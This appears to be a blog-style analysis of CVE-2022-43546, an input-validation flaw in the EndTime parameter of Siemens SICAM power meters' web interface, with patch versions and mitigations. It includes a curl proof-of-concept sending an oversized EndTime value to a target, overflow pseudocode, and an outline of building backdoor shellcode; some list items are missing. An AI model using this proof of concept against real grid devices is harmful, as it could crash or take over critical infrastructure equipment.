Industrial control systems are the cornerstone of our modern power grid, and flaws in their supporting equipment can be critical. In this long read, we take an exclusive look at CVE-2022-43546: a high-severity vulnerability affecting Siemens SICAM Q200, P850, and P855 power meters. This flaw enables attackers to crash the device or even run arbitrary code—all by abusing a single web interface parameter. Here, we break down what went wrong, how attackers could exploit it, and what can be done to stay protected.

POWER METER SICAM Q200 (All versions before V2.70)

- SICAM P850 / P855 (All versions before V3.10)

The problem lies in improper validation of the EndTime parameter when handling requests to the device’s web interface on HTTPS port 443. An attacker who is already authenticated can send specially crafted requests that:

Execute arbitrary code on the device (possibly taking full control)

Because these meters are often deployed in critical infrastructure, successful exploitation could have major operational and security impacts.

SICAM P855: V3.10

If you operate any of these—especially in utility, energy, or critical industrial contexts—review your firmware immediately.

Technical Breakdown: The EndTime Parameter Flaw

The affected SICAM devices host a web interface for monitoring and configuration (HTTPS/443). In various administrative requests, a parameter called EndTime is provided—likely in JSON or form data.

Here’s where the problem starts: the devices don’t properly validate the input. That means you can supply invalid or malicious data, and the firmware might process it in unsafe ways.

What Can Go Wrong?

- Buffer Overflows: If the parameter is parsed or copied into a memory buffer without size checks, a too-long value could overwrite important data or code—leading to a crash or even code execution.
- Type Confusion: If the code expects a date/time but gets a string or unexpected value, parsing errors could corrupt program state.
- Remote Code Execution: An attacker could craft a value that—when parsed—can hijack execution. This is highly platform-specific, but real in embedded devices.

Proof of Concept: How an Attack Might Work

Attack Precondition: The attacker has valid credentials (is authenticated).

Let's say the web interface expects a request like this (JSON-formatted)

{
  "StartTime": "2022-10-10T12:00:00Z",
  "EndTime": "2022-10-11T12:00:00Z"
}

Now, the attacker supplies an overly long or manipulated EndTime value

{
  "StartTime": "2022-10-10T12:00:00Z",
  "EndTime": "A".repeat(1024) // 1024 'A's
}

Or in cURL command (use with caution—do not test on real production systems)

curl -k -X POST https://TARGET_IP/api/data \
   -H "Content-Type: application/json" \
   -u "attacker:password" \
   -d '{"StartTime":"2022-10-10T12:00:00Z", "EndTime":"'$(python3 -c 'print("A"*1024)')'"}'

Expected effect:
Depending on the device and firmware, this could crash the web service, reboot the device, or—worst case—lead to code execution.

> Note: Actual exploit development for code execution is complex and device-specific, often requiring reverse engineering firmware and knowledge of the platform's memory management.

Is This Actually Exploitable?

According to Siemens Security Advisory SSA-764342 and the CVE report, successful exploitation has been demonstrated and both denial-of-service and code execution are possible.

Reverse Engineering: Extract the firmware, locate code parsing the EndTime parameter.

2. Finding a Way to Hijack Execution: Prove that injecting certain payloads (e.g., crafted strings) can overwrite a return address or control structure.
3. Building Payloads: For example, if the device runs ARM Linux, the attacker might use a buffer overflow payload with shellcode that opens a backdoor.

Example C-Like Pseudocode Vulnerability

void handle_request(json_object *request) {
    char endtime_buffer[256];
    // BAD: No check on length of input!
    strcpy(endtime_buffer, json_get_string(request, "EndTime"));
    // ...further processing
}

Such code can be exploited by overflowing endtime_buffer and controlling execution.

Siemens Security Advisory:

SSA-764342

NIST CVE Page:

CVE-2022-43546 Entry

ICS-CERT Alert:

Siemens SICAM Q200 and P850, P855 Vulnerability

Q200 → Version 2.70

- P850/P855 → Version 3.10

Restrict Access:

Limit web interface exposure using network segmentation and VPNs. Use firewalls to block 443/tcp from unauthorized locations.

Conclusion

CVE-2022-43546 is more than a bug—it’s a wake-up call about parameter validation in critical devices. The flaw in SICAM Q200 and P850/P855 power meters lets attackers with web interface access crash -- or in the right hands, even take over -- critical control devices. Patch, monitor, and segment these systems—before someone else does.

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*Stay secure. Don’t let your power grid get zapped by a simple string.*

*Exclusive analysis for CVE-2022-43546. Share with your OT/ICS team!*

Timeline

Published on: 11/08/2022 11:15:00 UTC
Last modified on: 06/13/2023 09:15:00 UTC